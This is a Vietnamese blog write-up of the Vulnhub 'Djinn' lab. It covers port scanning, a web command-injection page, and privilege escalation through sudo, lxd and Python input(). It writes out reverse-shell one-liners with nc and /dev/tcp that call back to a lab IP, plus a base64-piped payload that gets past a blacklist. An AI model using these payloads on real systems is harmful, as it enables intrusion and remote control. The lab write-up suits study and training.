Writeup Vulnhub: Djinn
Bài đăng này đã không được cập nhật trong 3 năm
Mở đầu
Chào các bạn, lâu lắm rồi mình chưa ra thêm bài viết nào cả vì mình lười. Do account HTB của mình (đi xin được) có nhiều người dùng nên không thể làm tiếp nên mình chuyển sang làm của Vulnhub. Mở đầu là bài Djinn
Write-up
Recon
nmap -A -p- 10.0.1.8 -o nmap
Ta thấy có 3 cổng đang mở là 21, 1337 và 7331. Cổng 21 cho phép ta truy cập bằng anonymous. Tiến hành vào thử và download các file về.
Sau khi đọc thì mình không thấy thông tin nào giá trị nên mình bỏ qua và tiếp tục đến cổng 1337
telnet 10.0.1.8 1337
Ở đây có một game nho nhỏ là ta phải trả lời kết quả các phép tính 1000 lần )). Nếu ta trả lời sai 1 câu thì phải làm lại từ đầu thế nên nếu làm bằng tay chắc dảk luôn. Do gần đây mình đang thích Golang lên mình viết luôn một chương trình để trả lời link
Sau khi chạy ta được 3 số là 1356, 6784, 3409 Mình chưa biết dùng 3 số trên để làm gì nên tạm thời bỏ qua
Tiếp theo là cổng cuối 7331. Đây là một Web server nên mình sẽ sử dụng gobuster để tìm xem có thư mục ẩn nào không
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt -u 10.0.1.8 -x php,txt,bak -o gobuster
Sau khi chạy gobuster thì mình tìm được 2 thư mục ẩn
Exploit
www-data
Thử vào thư mục wish
Mình nhập thử id và trang trả lại kết quả
Vậy là trang cho phép thực thi command ta nhập vào lấy shell thôi
nc -e /bin/bash 10.0.1.4 443
Nhưng không dễ như thế trang web sẽ lọc các từ có trong blacklist và sau một hồi thử mình tìm được các kí tự trong blacklist: $ . / * ;
Vậy ta phải bypass bộ lọc trên, ở đây mình dùng base64 để encode và decode sau đó cho vào pipeline để thực thi lệnh. Shell mình dùng là bash -i >& /dev/tcp/10.0.1.4/4242 0>&1
Vậy ta phải nhập là
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjEuNC80MjQyIDA+JjE= | base64 -d | bash
Ta có được shell đầu
nitish
Sau khi kiểm tra Sudo và các file co SUID không thấy có gì khả quan. Mình liệt kê người dùng có trong hệ thống và tìm kiếm trong thư mục home phát hiện một file chứa mật khẩu của user nitish
find /home 2>/dev/null
Ta có shell của nitish
sam
Kiểm tra với sudo -l
ta thấy user này có thể chạy file genie dưới quyền sam mà không cần mật khẩu
Sau nhiều giờ vật lộn thì mình tìm được một option ẩn bằng lệnh man genie
Và ta "dễ dàng" có shell tiếp theo
root
Sau khi làm xong mình đi tham khảo các bài writeup khác thì được biết có tận 3 cách để leo lên root
-
Lxd Đây là cách mình dùng để leo thang vì mình để ý ở lệnh id thì user này thuộc group lxd. Để leo thang bằng cách này thì các bạn làm theo các bước ở đây
-
Input python
Sử dụngsudo -l
thì ta thấy user này có thể chạy file rago bằng quyền root nhưng thử qua ta thấy khá là vô dụng. Nếu để ý ở trong thư mục của sam thì ta sẽ thấy có một file .pyc thì đây là file source của file rago trong thư mục gốc. Vì là file .pyc nên ta có thể dễ dàng dịch ngược lại để xem code bên trong có gì.Ở đây nếu ta đoán trúng số random thì sẽ có được shell vậy ta phải bypass được hàm so sánh ở trên. Sau khi tìm kiếm thì thì mình được biết nếu bạn nhập vào tên biến vào hàm input thì nó sẽ lấy giá trị và done!
-
Python sandbox trên cổng 1337(Update soon)
Vì mình đang tìm hiểu nên chưa thể giải thích nên mình sẽ để link ở đây
Conclusion
Ở bài này mình học được cách khai thác hàm input của python, cách leo thang bằng lxd và biết đến python sandbox
All rights reserved